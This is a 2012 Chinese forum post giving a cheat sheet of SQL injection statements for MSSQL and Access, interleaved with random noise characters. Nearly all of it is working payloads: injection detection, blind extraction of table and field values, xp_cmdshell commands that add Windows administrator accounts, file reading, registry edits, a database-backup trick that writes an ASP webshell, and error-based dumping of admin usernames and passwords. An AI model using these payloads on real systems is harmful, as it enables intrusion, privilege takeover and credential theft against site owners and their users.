找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1767|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ; F, H" r1 m8 [1 |, ?9 b: J
;and 1=1
; b! m3 }- L4 Q;and 1=2
, E& \- y  x! A' j; o  ^' r  R$ @% `* r, o1 Z" u$ K& O) b
2.初步判断是否是mssql - m$ d+ Q) f# }4 ]) E, \& d' z, k
;and user>0 / N! j" Q/ K% t, c- A- A, F
( `! j! X5 A5 K- `
3.判断数据库系统
  |# n. _0 |; ~& j5 \6 i; z+ T5 D;and (select count(*) from sysobjects)>0 mssql
3 }& P4 e( f8 d7 x6 K;and (select count(*) from msysobjects)>0 access
6 f& D9 \' J  {3 s' j; `7 q. \$ R) e* H# F9 f) z
4.注入参数是字符 / E5 H, U8 ^! K/ `* m" S: I, d1 m( Q
'and [查询条件] and ''='
2 Y& n5 S3 E/ {6 q3 H4 N3 f3 @5 @
5.搜索时没过滤参数的
# O0 O; W5 N7 X8 b% r: ~'and [查询条件] and '%25'='
- `* e" V& b  x4 m( a+ m% K8 [) N( m
6.猜数表名 9 O7 w+ f9 @% N: c" h$ F; v: p$ x
;and (select Count(*) from [表名])>0 7 n6 C' L- O+ I/ n' D( _
! Q2 W# P4 s0 B1 [
7.猜字段
( \$ R( L; [% A. e9 M5 o7 ];and (select Count(字段名) from 表名)>0
) C  y0 S- O/ i! e
- P+ }) ]. Z5 R7 {) \4 X3 L8.猜字段中记录长度
! j  N4 E$ o: j2 A+ z( `1 f/ w;and (select top 1 len(字段名) from 表名)>0 - x# Z; y% m9 l) ?& G4 O
5 Z. n6 K0 y6 r+ y/ ^4 g3 R
9.(1)猜字段的ascii值(access)
% T) F$ i% G3 z7 Y2 j. k0 k- q9 k;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
$ L5 B8 S7 V5 l
4 ?3 [$ R" N  Y4 y+ q! y+ `7 t(2)猜字段的ascii值(mssql) , I7 Z/ @1 Z! S% A$ d/ s, u+ x" g( c: @
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' O: _9 ~9 s' w9 h* M4 A
4 y  z4 h2 ]+ K
10.测试权限结构(mssql)
- u+ ?3 z9 K! I  U5 c- ^8 d;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& b1 U& N8 T  r  s2 O' f;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 V* A' Q* P' L6 I
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' W/ U- a8 P# h5 Z' l! q;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( ^2 L( r( H5 I& {
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " P0 y. v$ z! Y2 x2 o
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
/ m4 o2 T: Q! r' W% Y  R6 q) s;and 1=(select IS_MEMBER('db_owner'));-- ) j+ h3 f7 b/ O) x7 {
+ B- _4 m: i! v8 U. y7 Y  ]
11.添加mssql和系统的帐户 ( D/ B" W9 \1 e7 H
;exec master.dbo.sp_addlogin username;--
# {/ P$ w! G: \' [0 w  A;exec master.dbo.sp_password null,username,password;--
( H8 ?/ E) j5 L& A! a2 N;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2 P$ ~* A, Z4 @* J  }# K
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
3 r& H1 }2 l: L;exec master.dbo.xp_cmdshell 'net user username password /add';--
, B: G9 S- B6 I, [' Y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 k$ r. t+ a/ b9 J2 x! P7 o& B4 E0 q* ]8 ]3 ~
12.(1)遍历目录
+ f1 a9 q1 N) C3 ^" Z# c. Q0 N;create table dirs(paths varchar(100), id int)
& e6 K; d2 i# N1 F;insert dirs exec master.dbo.xp_dirtree 'c:\' 8 a. \8 z1 N; Q& ?3 n3 m1 D1 C
;and (select top 1 paths from dirs)>0
! |% @. R7 F. F) O8 q1 };and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / R% `8 P  S) H' C0 `
$ ~: N. T, V. i# D6 y
(2)遍历目录
- u  |6 ^, E, q7 h;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 ~( D7 S# k$ c- F# F. @0 m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - d+ m6 |5 U7 {! }* ?1 Y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
, [9 Y2 [+ h4 [* o( B# z; z$ L;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 - y8 i/ v6 u1 n. O! @& q! T" k3 O& D
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ' p; ^% o7 r3 d! C. p

1 E. W1 r9 K& X, }1 `" b13.mssql中的存储过程
, ~1 V: n2 Z0 }- A* K4 zxp_regenumvalues 注册表根键, 子键 9 C6 |0 z  t/ d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : k0 R3 ^+ S! C
xp_regread 根键,子键,键值名 ) w2 x% H5 |+ [; H4 O& i; c# O9 ]
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( _# }/ }: \: }xp_regwrite 根键,子键, 值名, 值类型, 值 & e2 B  Z- \( n: Y. x' C
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9 D3 z1 q5 ~; u7 Y1 A
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 + h2 {3 Q7 u" K7 f$ Z  U5 q
xp_regdeletevalue 根键,子键,值名 ) y# c2 z0 g" r, N& {' v1 T
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ' C& y3 Z, Q5 A, x0 ^* S7 q
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值   \0 R% Y/ N# C' \0 |! Q

( u# F2 S, A6 w9 X# z% ~14.mssql的backup创建webshell
/ w2 x5 F: w4 Q5 Ouse model
: p* j& b# S2 H6 ~, W0 Ccreate table cmd(str image); 1 t8 ]4 Z+ m, o9 ]% i" a8 `! _. I
insert into cmd(str) values ('<% Dim oScript %>'); % E4 E. Y" H2 x) M5 O# E0 w1 T
backup database model to disk='c:\l.asp'; 7 h' ^7 W" V8 I8 z' I- R

. O+ q. D$ }- z) l8 [/ s9 k15.mssql内置函数 9 r0 e  q  }6 k& R0 c0 b
;and (select @@version)>0 获得Windows的版本号
) Y! p/ V% ~  D; g5 P! n$ B;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 Q3 f( h5 k, H9 E, c* R3 };and (select user_name())>0 爆当前系统的连接用户 . R4 O& c- x' i& w
;and (select db_name())>0 得到当前连接的数据库
- N. F8 d4 A9 G2 q6 o6 V$ F
. y( i( x+ a' H) d5 z! U8 x; ^+ q2 D; {

/ g+ v$ ?7 `- c7 H& P9 s7 u" GMSSQL手注暴库5 V, l% v3 h5 D" i' q9 R* K

9 ]8 v" Q4 c  h1.暴出当前表名和列名" W% ^$ ?$ ^- i. [' J4 C: t
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。- C$ f# T: x) @/ T5 ~
7 }+ |- k6 o8 _
第一.爆出所有数据库名; Y) b2 A+ L% h8 a- _# u
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
6 [2 \% x" j* J) h8 ]% }* m第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。& r5 h, f7 p) q: `6 d
+ u3 u" t/ a  N6 N* a
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名% L# n2 [5 v) [& }) g) v

8 ]/ j1 ~+ ]: v# F
4 P% Y( C# L; B$ ]4 |第二.爆出指定库中的所有表名* }/ \8 f* Y5 C' d! u
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
" y4 H, Q# R8 ^" y3 W再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。5 K; N' e1 [& w3 C

0 K8 k# W/ }+ Q9 rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
: J. q$ A* H" s# D, d: j4 J+ ?and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
7 g) _, o; E- p  ?' qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--" R; X4 f9 `! d. _: @
" i; U& W* L+ {9 s  R9 g
4.爆出指定表中的所有列名& c4 H' e7 K- [9 U# B% u
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) . Z7 ^' ?: |- N2 N! g
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
. {5 T9 e% x; N
, U2 r4 J* r# H. V5 Hand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
( ?7 E6 O( u+ X/ z2 u# A5 A4 N4 j
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
) c6 r) F$ X) m" s& H$ m/ {依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。) T/ f% q4 w& E, P4 o, g9 E* L
5 ~1 Z' \1 v) ~2 m2 @
: K7 }3 w$ V6 z
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
3 o3 {1 R6 h4 P+ \+ C
0 _1 b; n* D$ C$ Oand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
; n5 C& Z- x8 V0 _' G" l) w/ J
; i+ F) N: i2 d/ I* Gand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- . r) q  K2 e+ ^! c" k

, O& k( S1 N. p7 y, M, z# s: W, e& F4 T! i: R* q/ m: ?

! M& `: g" H6 L0 b5 M9 Z  P5.读取指定表中的数据2 l5 Z, t7 C) t- P% P3 b

( e) [9 P+ |; f4 Rand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
1 r0 }% z6 _6 f6 M* L5 d
! a  ]! X( r( m: s- Hand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--7 p9 F, ^. l( _5 i" j- {

9 x; a6 T' f' ]1 fand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码# f" B8 ]' `" ^+ F

# Y! f2 X5 D* ~% D
' s$ ^2 F5 h! d8 ^) }& dand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)/ H, Y$ }7 }5 A, X2 w9 J; ]
! }/ Y: `: \, r
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
8 C! Y. }9 m+ Y; R" E3 x9 x  j' V, \
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
" E5 c. a, I: c9 }. ]  D) B* h1 z% S7 |3 }* k5 G/ M6 I
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。) |) o+ G# p6 p+ U5 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表